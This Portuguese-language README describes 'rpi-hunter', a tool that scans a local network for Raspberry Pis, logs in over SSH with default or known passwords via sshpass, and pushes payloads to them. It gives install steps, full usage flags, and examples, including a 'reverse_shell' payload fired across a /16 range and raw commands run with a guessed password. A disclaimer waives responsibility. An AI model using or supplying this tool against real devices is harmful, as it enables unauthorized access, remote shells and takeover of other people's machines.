rpi-hunter

• Automatizar descoberta e envio de payloads em Raspberry Pis na LAN via ssh
• Ou, o título honesto: Automatizando sshpass para entrega de comandos.

Rpi-hunter é útil quando há múltiplos Raspberry Pis na sua LAN com credenciais padrão ou conhecidas, para automatizar o envio de comandos/payloads para eles.

GUIA:

Instalação

1. Instalar dependências: sudo pip install -U argparse termcolor e sudo apt -y install arp-scan tshark sshpass
2. Baixar rpi-hunter: git clone https://github.com/BusesCanFly/rpi-hunter
3. Navegar para rpi-hunter: cd ./rpi-hunter
4. Tornar rpi-hunter.py executável: chmod +x rpi-hunter.py

• Variante de uma linha: sudo pip install -U argparse termcolor && sudo apt -y install arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.py

Uso

Confira este vídeo interessante e o artigo complementar feito pelo pessoal do NullByte!

• Nota: Para os novatos, fiz algumas atualizações no rpi-hunter para corrigir alguns bugs e adicionar mais funcionalidades :) Executar o comando ./rpi-hunter.py irá escanear automaticamente toda a sua rede local e executar o comando whoami em qualquer raspberry pi que encontrar.

usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

optional arguments:
  -h, --help         show this help message and exit
  --list             List available payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP range to scan
  -f IP_LIST         IP list to use (Default ./scan/RPI_list)
  -u UNAME           Username to use when ssh'ing
  -c CREDS           Password to use when ssh'ing
  --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If using reverse_shell payload) Host for reverse shell
  -P PORT            (If using reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, but don't execute it
  -q                 Don't print banner

• Execute ./rpi-hunter.py --list para ver os payloads disponíveis.

• Payloads podem ser especificados pelo nome do payload do --list ou como entrada bruta

  • ex. --payload reverse_shell ou --payload [seu comando cli aqui]

• Exemplo de uso:

  • ./rpi-hunter.py -r 192.168.0.0/16 --payload reverse_shell -H 127.0.0.1 -P 1337
    • Nota: apenas o payload "reverse_shell" requer as flags -H e -P
  • ./rpi-hunter.py -c lamepassword --payload "ls -lah \~"
    • Nota: certifique-se de escapar caracteres especiais com uma \

Aviso Legal:

O aviso legal padrão da internet se aplica. Não cometa crimes, seja responsável.

Não sou de forma alguma responsável por qualquer coisa que você faça com o rpi-hunter.